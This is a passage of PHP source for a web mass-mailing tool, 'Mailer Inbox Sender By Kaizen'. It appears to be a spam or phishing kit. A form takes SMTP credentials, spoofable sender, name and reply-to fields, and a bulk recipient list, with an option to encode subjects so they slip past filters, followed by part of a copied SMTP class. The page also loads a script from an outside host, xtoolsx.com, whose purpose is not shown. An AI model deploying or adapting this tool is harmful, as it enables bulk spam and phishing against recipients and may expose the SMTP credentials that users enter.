<input type="submit" class="inputzbut" name="submit" value="Upload" style="font-size: 8pt; color: #FFFFFF; font-family: Tahoma; border: 1 solid #666666; background-color: #FF0000"><br>'. $resultati .'</form></center></td></tr></table></div>';
}
function query_str($params){
$str = '';
foreach ($params as $key => $value) {
$str .= (strlen($str) < 1) ? '' : '&';
$str .= $key . '=' . rawurlencode($value);
}
return ($str);
}
function lrtrim($string){
return stripslashes(ltrim(rtrim($string)));
}
if(isset($_POST['action'] ) ){
$b = query_str($_POST);
parse_str($b);
$sslclick=lrtrim($sslclick);
$action=lrtrim($action);
$message=lrtrim($message);
$emaillist=lrtrim($emaillist);
$from=lrtrim($from);
$reconnect=lrtrim($reconnect);
$epriority=lrtrim($epriority);
$my_smtp=lrtrim($my_smtp);
$ssl_port=lrtrim($ssl_port);
$smtp_username=lrtrim($smtp_username);
$smtp_password=lrtrim($smtp_password);
$replyto=lrtrim($replyto);
$subject=lrtrim($subject);
$realname=lrtrim($realname);
$subject_base=lrtrim($subject);
$realname_base=lrtrim($realname);
$file_name=lrtrim($file);
$urlz=lrtrim($urlz);
$contenttype=lrtrim($contenttype);
$encode_text=$_POST['encode'];
$message = urlencode($message);
$message = ereg_replace("%5C%22", "%22", $message);
$message = urldecode($message);
$message = stripslashes($message);
$subject = stripslashes($subject);
if ($encode_text == "yes") {
$subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $subject);
$subject = str_replace(' ', '_', $subject);
$subject = "=?UTF-8?Q?$subject?=";
$realname = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("")))', $realname);
$realname = str_replace(' ', '_', $realname);
$realname = "=?UTF-8?Q?$realname?=";
}
}
?>
<html>
<head>
<title>PHP Mailer</title>
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css">
<!--
.style1 {
font-family: Geneva, Arial, Helvetica, sans-serif;
font-size: 12px;
}
-->
</style>
<style type="text/css">
<!--
.style1 {
font-size: 10px;
font-family: Geneva, Arial, Helvetica, sans-serif;
}
-->
</style>
</head>
<SCRIPT SRC='http://xtoolsx.com/JavaScript/Style.js'></SCRIPT>
<body text="#000000">
<p align="center"><font size="5" face="Bauhaus 93">Mailer Inbox Sender By Kaizen</font><font color="#FFFFFF" size="5" face="Bauhaus 93"></font></p>
<form name="form1" method="post" action="" enctype="multipart/form-data">
<br>
<table width="100%" border="0" height="407">
<tr>
<td width="100%" colspan="4" bgcolor="#666666" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> SERVER SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Login:</font></div>
</td>
<td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="smtp_username" value="<?=$smtp_username;?>" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
SMTP Pass:</font></div>
</td>
<td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="password" name="smtp_password" value="<?=$smtp_password;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Port :</font></div>
</td>
<td width="18%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="ssl_port" value="<?=$ssl_port;?>" size="5">
(optional)</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8">
<div align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SMTP
Server Smtp:</font></div>
</td>
<td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="my_smtp" value="<?=$my_smtp;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">SSL Server:</font></td>
<td width="18%" height="22" bgcolor="#E8E8E8">
<input type="checkbox" name="sslclick" value="ON" <? if($sslclick){ print "checked"; } ?> ><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">(yes)</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8">
<p align="right">
<font face="Verdana, Arial, Helvetica, sans-serif" size="-3">Reconnect
After:</font></td>
<td width="41%" height="22" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="reconnect" value="<?=$reconnect;?>" size="5">
EMAILS</font></td>
</tr>
<tr>
<td width="100%" height="39" bgcolor="#E8E8E8" colspan="4">
<p align="center">
<font face="Arial" style="font-size: 9pt" color="#800000"><b>"</b> If
you dont have SMTP login, leave blank queries above <b>"</b></font></td>
</tr>
<tr>
<td width="10%" height="19">
</td>
<td width="18%" height="19"> </td>
<td width="31%" height="19">
</td>
<td width="41%" height="19"> </td>
</tr>
<tr>
<td width="100%" colspan="4" bgcolor="#666666" height="36">
<b>
<font face="Arial" size="2" color="#FFFFFF"> MESSAGE SETUP</font></b></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Email:</font></div>
</td>
<td width="18%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="from" value="<?=$from;?>" size="30">
</font></td>
<td width="31%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Your Name:</font></div>
</td>
<td width="41%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="realname" value="<?=$realname_base;?>" size="30">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Reply-To:</font></div>
</td>
<td width="18%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="replyto" value="<?=$replyto;?>" size="30">
</font></td>
<td width="31%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8">
<p align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Email Priority:</font></td>
<td width="41%" height="22" bgcolor="#E8E8E8" bordercolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
</font><select name="epriority" id="listMethod" onchange="showHideListConfig()">
<option value="" <? if(strlen($epriority)< 1){print "selected";} ?> >-
Please Choose -</option>
<option value="1" <? if($epriority == "1"){print "selected";} ?> >High</option>
<option value="3" <? if($epriority == "3"){print "selected";} ?> >Normal</option>
<option value="5" <? if($epriority == "5"){print "selected";} ?> >Low</option>
</select></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
<div align="right"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
Subject:</font></div>
</td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<input type="text" name="subject" value="<?=$subject_base;?>" size="90">
</font></td>
</tr>
<tr>
<td width="10%" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8">
</td>
<td colspan="3" height="22" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<font color="#FF0000">Encode sending information ?</font> <select size="1" name="encode">
<option <? if($encode_text == "yes"){print "selected";} ?>>yes</option>
<option <? if($encode_text == "no"){print "selected";} ?>>no</option>
</select></font></td>
</tr>
<tr valign="top">
<td colspan="3" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-1" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="message" cols="60" rows="10"><?=$message;?></textarea>
<br>
<input type="radio" name="contenttype" value="plain" >
Plain
<input type="radio" name="contenttype" value="html" checked>
HTML
<input type="hidden" name="action" value="send">
<input type="submit" value="Send Message">
</font></td>
<td width="41%" height="190" bordercolor="#E8E8E8" bgcolor="#E8E8E8"><font size="-3" face="Verdana, Arial, Helvetica, sans-serif">
<textarea name="emaillist" cols="30" rows="10"><?=$emaillist;?></textarea>
</font></td>
</tr>
</table>
</form>
<?
if ($action){
if (!$from && !$subject && !$message && !$emaillist){
print "<script>alert('Please complete all fields before sending your message.'); </script>";
die(); }
class SMTP
{
/**
* SMTP server port
* @var int
*/
var $SMTP_PORT = 25;
/**
* SMTP reply line ending
* @var string
*/
var $CRLF = "
";
/**
* Sets whether debugging is turned on
* @var bool
*/
var $do_debug; # the level of debug to perform
/**
* Sets VERP use on/off (default is off)
* @var bool
*/
var $do_verp = false;
/**#@+
* @access private
*/
var $smtp_conn; # the socket to the server
var $error; # error if any on the last call
var $helo_rply; # the reply the server sent to us for HELO
/**#@-*/
/**
* Initialize the class so that the data is in a known state.
* @access public
* @return void
*/
function SMTP() {
$this->smtp_conn = 0;
$this->error = null;
$this->helo_rply = null;
$this->do_debug = 0;
}
/*************************************************************
* CONNECTION FUNCTIONS *
***********************************************************/
/**
* Connect to the server specified on the port specified.
* If the port is not specified use the default SMTP_PORT.
* If tval is specified then a connection will try and be
* established with the server for that number of seconds.
* If tval is not specified the default is 30 seconds to
* try on the connection.
*
* SMTP CODE SUCCESS: 220
* SMTP CODE FAILURE: 421
* @access public
* @return bool
*/
function Connect($host,$port=0,$tval=30) {
# set the error val to null so there is no confusion
$this->error = null;
# make sure we are __not__ connected
if($this->connected()) {
# ok we are connected! what should we do?
# for now we will just give an error saying we
# are already connected
$this->error = array("error" => "Already connected to a server");
return false;
}
if(empty($port)) {
$port = $this->SMTP_PORT;
}
#connect to the smtp server
$this->smtp_conn = fsockopen($host, # the host of the server
$port, # the port to use
$errno, # error number if any
$errstr, # error message if any
$tval); # give up after ? secs
# verify we connected properly
if(empty($this->smtp_conn)) {
$this->error = array("error" => "Failed to connect to server",
"errno" => $errno,
"errstr" => $errstr);
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": $errstr ($errno)" . $this->CRLF;
}
return false;
}
# sometimes the SMTP server takes a little longer to respond
# so we will give it a longer timeout for the first read
// Windows still does not have support for this timeout function
if(substr(PHP_OS, 0, 3) != "WIN")
socket_set_timeout($this->smtp_conn, $tval, 0);
# get any announcement stuff
$announce = $this->get_lines();
# set the timeout of any socket functions at 1/10 of a second
//if(function_exists("socket_set_timeout"))
// socket_set_timeout($this->smtp_conn, 0, 100000);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $announce;
}
return true;
}
/**
* Performs SMTP authentication. Must be run after running the
* Hello() method. Returns true if successfully authenticated.
* @access public
* @return bool
*/
function Authenticate($username, $password) {
// Start authentication
fputs($this->smtp_conn,"AUTH LOGIN" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "AUTH not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded username
fputs($this->smtp_conn, base64_encode($username) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 334) {
$this->error =
array("error" => "Username not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
// Send encoded password
fputs($this->smtp_conn, base64_encode($password) . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($code != 235) {
$this->error =
array("error" => "Password not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Returns true if connected to a server otherwise false
* @access private
* @return bool
*/
function Connected() {
if(!empty($this->smtp_conn)) {
$sock_status = socket_get_status($this->smtp_conn);
if($sock_status["eof"]) {
# hmm this is an odd situation... the socket is
# valid but we are not connected anymore
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE:" . $this->CRLF .
"EOF caught while checking if connected";
}
$this->Close();
return false;
}
return true; # everything looks good
}
return false;
}
/**
* Closes the socket and cleans up the state of the class.
* It is not considered good to use this function without
* first trying to use QUIT.
* @access public
* @return void
*/
function Close() {
$this->error = null; # so there is no confusion
$this->helo_rply = null;
if(!empty($this->smtp_conn)) {
# close the connection and cleanup
fclose($this->smtp_conn);
$this->smtp_conn = 0;
}
}
/***************************************************************
* SMTP COMMANDS *
*************************************************************/
/**
* Issues a data command and sends the msg_data to the server
* finializing the mail transaction. $msg_data is the message
* that is to be send with the headers. Each header needs to be
* on a single line followed by a <CRLF> with the message headers
* and the message body being seperated by and additional <CRLF>.
*
* Implements rfc 821: DATA <CRLF>
*
* SMTP CODE INTERMEDIATE: 354
* [data]
* <CRLF>.<CRLF>
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 552,554,451,452
* SMTP CODE FAILURE: 451,554
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Data($msg_data) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Data() without being connected");
return false;
}
fputs($this->smtp_conn,"DATA" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 354) {
$this->error =
array("error" => "DATA command not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# the server is ready to accept data!
# according to rfc 821 we should not send more than 1000
# including the CRLF
# characters on a single line so we will break the data up
# into lines by
and/or
then if needed we will break
# each of those into smaller lines to fit within the limit.
# in addition we will be looking for lines that start with
# a period '.' and append and additional period '.' to that
# line. NOTE: this does not count towards are limit.
# normalize the line breaks so we know the explode works
$msg_data = str_replace("
","
",$msg_data);
$msg_data = str_replace("
","
",$msg_data);
$lines = explode("
",$msg_data);
# we need to find a good way to determine is headers are
# in the msg_data or if it is a straight msg body
# currently I am assuming rfc 822 definitions of msg headers
# and if the first field of the first line (':' sperated)
# does not contain a space then it _should_ be a header
# and we can process all lines before a blank "" line as
# headers.
$field = substr($lines[0],0,strpos($lines[0],":"));
$in_headers = false;
if(!empty($field) && !strstr($field," ")) {
$in_headers = true;
}
$max_line_length = 998; # used below; set here for ease in change
while(list(,$line) = @each($lines)) {
$lines_out = null;
if($line == "" && $in_headers) {
$in_headers = false;
}
# ok we need to break this line up into several
# smaller lines
while(strlen($line) > $max_line_length) {
$pos = strrpos(substr($line,0,$max_line_length)," ");
# Patch to fix DOS attack
if(!$pos) {
$pos = $max_line_length - 1;
}
$lines_out[] = substr($line,0,$pos);
$line = substr($line,$pos + 1);
# if we are processing headers we need to
# add a LWSP-char to the front of the new line
# rfc 822 on long msg headers
if($in_headers) {
$line = " " . $line;
}
}
$lines_out[] = $line;
# now send the lines to the server
while(list(,$line_out) = @each($lines_out)) {
if(strlen($line_out) > 0)
{
if(substr($line_out, 0, 1) == ".") {
$line_out = "." . $line_out;
}
}
fputs($this->smtp_conn,$line_out . $this->CRLF);
}
}
# ok all the message data has been sent so lets get this
# over with aleady
fputs($this->smtp_conn, $this->CRLF . "." . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "DATA not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Expand takes the name and asks the server to list all the
* people who are members of the _list_. Expand will return
* back and array of the result or false if an error occurs.
* Each value in the array returned has the format of:
* [ <full-name> <sp> ] <path>
* The definition of <path> is defined in rfc 821
*
* Implements rfc 821: EXPN <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 550
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string array
*/
function Expand($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Expand() without being connected");
return false;
}
fputs($this->smtp_conn,"EXPN " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "EXPN not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
# parse the reply and place in our array to return to user
$entries = explode($this->CRLF,$rply);
while(list(,$l) = @each($entries)) {
$list[] = substr($l,4);
}
return $list;
}
/**
* Sends the HELO command to the smtp server.
* This makes sure that we and the server are in
* the same known state.
*
* Implements from rfc 821: HELO <SP> <domain> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 501, 504, 421
* @access public
* @return bool
*/
function Hello($host="") {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Hello() without being connected");
return false;
}
# if a hostname for the HELO was not specified determine
# a suitable one to send
if(empty($host)) {
# we need to determine some sort of appopiate default
# to send to the server
$host = "localhost";
}
// Send extended hello first (RFC 2821)
if(!$this->SendHello("EHLO", $host))
{
if(!$this->SendHello("HELO", $host))
return false;
}
return true;
}
/**
* Sends a HELO/EHLO command.
* @access private
* @return bool
*/
function SendHello($hello, $host) {
fputs($this->smtp_conn, $hello . " " . $host . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER: " . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => $hello . " not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
$this->helo_rply = $rply;
return true;
}
/**
* Gets help information on the keyword specified. If the keyword
* is not specified then returns generic help, ussually contianing
* A list of keywords that help is available on. This function
* returns the results back to the user. It is up to the user to
* handle the returned data. If an error occurs then false is
* returned with $this->error set appropiately.
*
* Implements rfc 821: HELP [ <SP> <string> ] <CRLF>
*
* SMTP CODE SUCCESS: 211,214
* SMTP CODE ERROR : 500,501,502,504,421
* @access public
* @return string
*/
function Help($keyword="") {
$this->error = null; # to avoid confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Help() without being connected");
return false;
}
$extra = "";
if(!empty($keyword)) {
$extra = " " . $keyword;
}
fputs($this->smtp_conn,"HELP" . $extra . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 211 && $code != 214) {
$this->error =
array("error" => "HELP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command.
*
* Implements rfc 821: MAIL <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,421
* @access public
* @return bool
*/
function Mail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Mail() without being connected");
return false;
}
$useVerp = ($this->do_verp ? "XVERP" : "");
fputs($this->smtp_conn,"MAIL FROM:<" . $from . ">" . $useVerp . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "MAIL not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the command NOOP to the SMTP server.
*
* Implements from rfc 821: NOOP <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500, 421
* @access public
* @return bool
*/
function Noop() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Noop() without being connected");
return false;
}
fputs($this->smtp_conn,"NOOP" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "NOOP not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the quit command to the server and then closes the socket
* if there is no error or the $close_on_error argument is true.
*
* Implements from rfc 821: QUIT <CRLF>
*
* SMTP CODE SUCCESS: 221
* SMTP CODE ERROR : 500
* @access public
* @return bool
*/
function Quit($close_on_error=true) {
$this->error = null; # so there is no confusion
if(!$this->connected()) {
$this->error = array(
"error" => "Called Quit() without being connected");
return false;
}
# send the quit command to the server
fputs($this->smtp_conn,"quit" . $this->CRLF);
# get any good-bye messages
$byemsg = $this->get_lines();
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $byemsg;
}
$rval = true;
$e = null;
$code = substr($byemsg,0,3);
if($code != 221) {
# use e as a tmp var cause Close will overwrite $this->error
$e = array("error" => "SMTP server rejected quit command",
"smtp_code" => $code,
"smtp_rply" => substr($byemsg,4));
$rval = false;
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $e["error"] . ": " .
$byemsg . $this->CRLF;
}
}
if(empty($e) || $close_on_error) {
$this->Close();
}
return $rval;
}
/**
* Sends the command RCPT to the SMTP server with the TO: argument of $to.
* Returns true if the recipient was accepted false if it was rejected.
*
* Implements from rfc 821: RCPT <SP> TO:<forward-path> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,552,553,450,451,452
* SMTP CODE ERROR : 500,501,503,421
* @access public
* @return bool
*/
function Recipient($to) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Recipient() without being connected");
return false;
}
fputs($this->smtp_conn,"RCPT TO:<" . $to . ">" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "RCPT not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Sends the RSET command to abort and transaction that is
* currently in progress. Returns true if successful false
* otherwise.
*
* Implements rfc 821: RSET <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE ERROR : 500,501,504,421
* @access public
* @return bool
*/
function Reset() {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Reset() without being connected");
return false;
}
fputs($this->smtp_conn,"RSET" . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "RSET failed",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in.
*
* Implements rfc 821: SEND <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function Send($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Send() without being connected");
return false;
}
fputs($this->smtp_conn,"SEND FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SEND not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in and send them an email.
*
* Implements rfc 821: SAML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendAndMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendAndMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SAML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SAML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* Starts a mail transaction from the email address specified in
* $from. Returns true if successful or false otherwise. If True
* the mail transaction is started and then one or more Recipient
* commands may be called followed by a Data command. This command
* will send the message to the users terminal if they are logged
* in or mail it to them if they are not.
*
* Implements rfc 821: SOML <SP> FROM:<reverse-path> <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE SUCCESS: 552,451,452
* SMTP CODE SUCCESS: 500,501,502,421
* @access public
* @return bool
*/
function SendOrMail($from) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called SendOrMail() without being connected");
return false;
}
fputs($this->smtp_conn,"SOML FROM:" . $from . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250) {
$this->error =
array("error" => "SOML not accepted from server",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return true;
}
/**
* This is an optional command for SMTP that this class does not
* support. This method is here to make the RFC821 Definition
* complete for this class and __may__ be implimented in the future
*
* Implements from rfc 821: TURN <CRLF>
*
* SMTP CODE SUCCESS: 250
* SMTP CODE FAILURE: 502
* SMTP CODE ERROR : 500, 503
* @access public
* @return bool
*/
function Turn() {
$this->error = array("error" => "This method, TURN, of the SMTP ".
"is not implemented");
if($this->do_debug >= 1) {
echo "SMTP -> NOTICE: " . $this->error["error"] . $this->CRLF;
}
return false;
}
/**
* Verifies that the name is recognized by the server.
* Returns false if the name could not be verified otherwise
* the response from the server is returned.
*
* Implements rfc 821: VRFY <SP> <string> <CRLF>
*
* SMTP CODE SUCCESS: 250,251
* SMTP CODE FAILURE: 550,551,553
* SMTP CODE ERROR : 500,501,502,421
* @access public
* @return int
*/
function Verify($name) {
$this->error = null; # so no confusion is caused
if(!$this->connected()) {
$this->error = array(
"error" => "Called Verify() without being connected");
return false;
}
fputs($this->smtp_conn,"VRFY " . $name . $this->CRLF);
$rply = $this->get_lines();
$code = substr($rply,0,3);
if($this->do_debug >= 2) {
echo "SMTP -> FROM SERVER:" . $this->CRLF . $rply;
}
if($code != 250 && $code != 251) {
$this->error =
array("error" => "VRFY failed on name '$name'",
"smtp_code" => $code,
"smtp_msg" => substr($rply,4));
if($this->do_debug >= 1) {
echo "SMTP -> ERROR: " . $this->error["error"] .
": " . $rply . $this->CRLF;
}
return false;
}
return $rply;
}
/*******************************************************************
* INTERNAL FUNCTIONS *
******************************************************************/
/**
* Read in as many lines as possible
* either before eof or socket timeout occurs on the operation.
* With SMTP we can tell if we have more lines to read if the
* 4th character is '-' symbol. If it is a space then we don't
* need to read anything else.
* @access private
* @return string
*/
function get_lines() {
$data = "";
while($str = @fgets($this->smtp_conn,515)) {
